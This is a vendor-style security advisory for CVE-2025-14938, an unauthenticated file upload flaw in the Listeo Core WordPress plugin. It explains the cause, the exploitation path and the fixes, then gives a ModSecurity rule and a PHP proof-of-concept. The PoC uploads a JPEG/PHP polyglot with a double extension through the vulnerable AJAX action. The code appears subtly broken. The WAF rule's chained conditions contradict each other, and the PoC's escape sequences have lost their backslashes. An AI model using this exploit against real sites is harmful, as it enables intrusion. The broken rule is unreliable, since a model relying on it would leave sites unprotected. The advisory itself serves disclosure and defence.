Atomic Edge analysis of CVE-2025-14938 (metadata-based):
This vulnerability is an unauthenticated arbitrary file upload in the Listeo Core WordPress plugin (versions <=2.0.27). Attackers can upload any file type to the site's media library via a missing authorization check in an AJAX endpoint. The CVSS 5.3 score reflects a network-accessible attack with low attack complexity that impacts integrity but not confidentiality or availability.
Atomic Edge research identifies the root cause as CWE-434: Unrestricted Upload of File with Dangerous Type. The vulnerability description explicitly states missing authorization and capability checks on the 'listeo_core_handle_dropped_media' AJAX handler. This analysis infers the plugin registers this AJAX action with both privileged (wp_ajax_) and unprivileged (wp_ajax_nopriv_) hooks, allowing unauthenticated access. The CWE classification suggests insufficient file type validation may also be present, though the description emphasizes the missing access control as primary.
Exploitation requires sending a multipart POST request to the WordPress admin-ajax.php endpoint with the action parameter set to 'listeo_core_handle_dropped_media'. Attackers can upload arbitrary files (including executable scripts) by crafting a request that mimics the plugin's expected upload format. The exact parameter name for the file upload field is inferred from common WordPress upload handlers, typically 'file' or 'media'. The attacker receives the uploaded file's URL or attachment ID in the response.
The remediation likely involves two changes. First, the plugin must remove the 'wp_ajax_nopriv_listeo_core_handle_dropped_media' hook registration, restricting the endpoint to authenticated users. Second, the plugin should implement capability checks (e.g., current_user_can('upload_files')) within the handler function. Additional file type validation and extension filtering would further harden the upload mechanism against dangerous file types.
Successful exploitation allows unauthenticated attackers to populate the WordPress media library with arbitrary files. While the description states 'without achieving direct code execution,' uploaded PHP or other server-executable files could lead to remote code execution if the server misconfigures file permissions or the web root. Attackers can also upload malicious HTML/JS files for cross-site scripting campaigns, deface the site by replacing legitimate media, or consume server storage resources through repeated uploads.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-14938 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202514938,phase:2,deny,status:403,chain,msg:'CVE-2025-14938: Unauthenticated Arbitrary Media Upload via Listeo Core AJAX',severity:'CRITICAL',tag:'CVE-2025-14938',tag:'WordPress',tag:'Plugin/Listeo-Core'"
SecRule ARGS_POST:action "@streq listeo_core_handle_dropped_media"
"chain,t:none"
SecRule &ARGS_POST_NAMES "@eq 0"
"chain,t:none"
SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "!@rx ."
"t:none,ctl:ruleRemoveTargetById=202514938;ARGS_POST_NAMES"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14938 - Listeo-Core - Directory Plugin by Purethemes <= 2.0.27 - Unauthenticated Arbitrary Media Upload
<?php
$target_url = 'https://example.com';
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create a temporary malicious file (simulated JPEG with PHP code)
$temp_file = tempnam(sys_get_temp_dir(), 'exp_');
$file_content = "xFFxD8xFFxE0x00x10JFIFx00x01x01x00x00x01x00x01x00x00x3Cx3Fphp echo('Atomic Edge Test'); ?x3E";
file_put_contents($temp_file, $file_content);
// Prepare POST data with the vulnerable action
$post_fields = [
'action' => 'listeo_core_handle_dropped_media'
];
// Prepare file upload (parameter name inferred from common upload handlers)
$file_upload = [
'file' => new CURLFile($temp_file, 'image/jpeg', 'exploit.jpg.php')
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_fields, $file_upload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up temp file
unlink($temp_file);
// Output results
if ($http_code == 200 && !empty($response)) {
echo "[+] Upload likely successful. Response: " . htmlspecialchars($response) . "n";
} else {
echo "[-] Upload may have failed. HTTP Code: $http_coden";
}
?>